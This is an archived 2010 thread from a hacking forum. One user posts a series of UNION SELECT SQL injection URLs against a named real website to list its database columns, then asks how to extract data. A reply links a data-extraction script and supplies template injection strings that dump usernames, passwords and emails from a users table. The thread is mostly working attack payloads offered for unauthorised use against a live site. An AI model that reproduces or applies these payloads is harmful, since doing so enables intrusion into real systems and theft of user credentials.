General Hacking Discussions Got a question about hacking? Post it here.

InterN0T Affiliates:
EvilZonepy1337

SirCapsAlot.NET

Reply
 
LinkBack Thread Tools Display Modes
  #1  
Old 26th February 2010, 15:13
 
Join Date: Feb 2010
Posts: 12
Rep Power: 3
Reputation: 1
VipVince is an unknown memory address at this point
SQL help.

Ok so im practicing simple sql,my string now looks like

http://www.michaelpollan.com/article.php?id=-80 union all select 1,column_name,3,4,5,6,7,8,9,10 from information_schema.columns+limit 0,1

http://www.michaelpollan.com/article.php?id=-80 union all select 1,column_name,3,4,5,6,7,8,9,10 from information_schema.columns+limit 1,1

http://www.michaelpollan.com/article.php?id=-80 union all select 1,column_name,3,4,5,6,7,8,9,10 from information_schema.columns+limit 2,1

http://www.michaelpollan.com/article.php?id=-80 union all select 1,column_name,3,4,5,6,7,8,9,10 from information_schema.columns+limit 3,1

http://www.michaelpollan.com/article.php?id=-80 union all select 1,column_name,3,4,5,6,7,8,9,10 from information_schema.columns+limit 4,1

http://www.michaelpollan.com/article.php?id=-80 union all select 1,column_name,3,4,5,6,7,8,9,10 from information_schema.columns+limit 5,1

http://www.michaelpollan.com/article.php?id=-80 union all select 1,column_name,3,4,5,6,7,8,9,10 from information_schema.columns+limit 6,1

As you all know this is me basically just looking for a useful column name like admin,the string

http://www.michaelpollan.com/article.php?id=-80 union all select 1,column_name,3,4,5,6,7,8,9,10 from information_schema.columns+limit 6,1

Finds me a column called ID,now i just would like to know how to i extract data from the ID column?thanks in advance.
Reply With Quote
  #2  
Old 26th February 2010, 19:41
Zero Cold's Avatar
 
Join Date: Dec 2009
Location: United Kingdom
Posts: 111
Rep Power: 4
Reputation: 91
Zero Cold will become a Token soon
Re: SQL help.

tbh there is not on this site as i have played with this before

this may help you get what you want tho
Code:
http://darkc0de.com/misc/dataext.py
Example of usage:
www.site.com/news.php?id=-1+union+select+1,concat_ws(char(58),user,pass),3+f rom+users+limit+NUM,1

www.site.com/news.php?id=-1+union+select+1,concat(char(58),email),3+from+use rs+limit+NUM,1
__________________
Check Out My Site http://zero.intern0t.net/
Reply With Quote
Reply

Bookmarks

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are On



All times are GMT +2. The time now is 10:44.
Copyright ©2007 - Forever, InterN0T & Teh Unkwon

Hosted by 1and1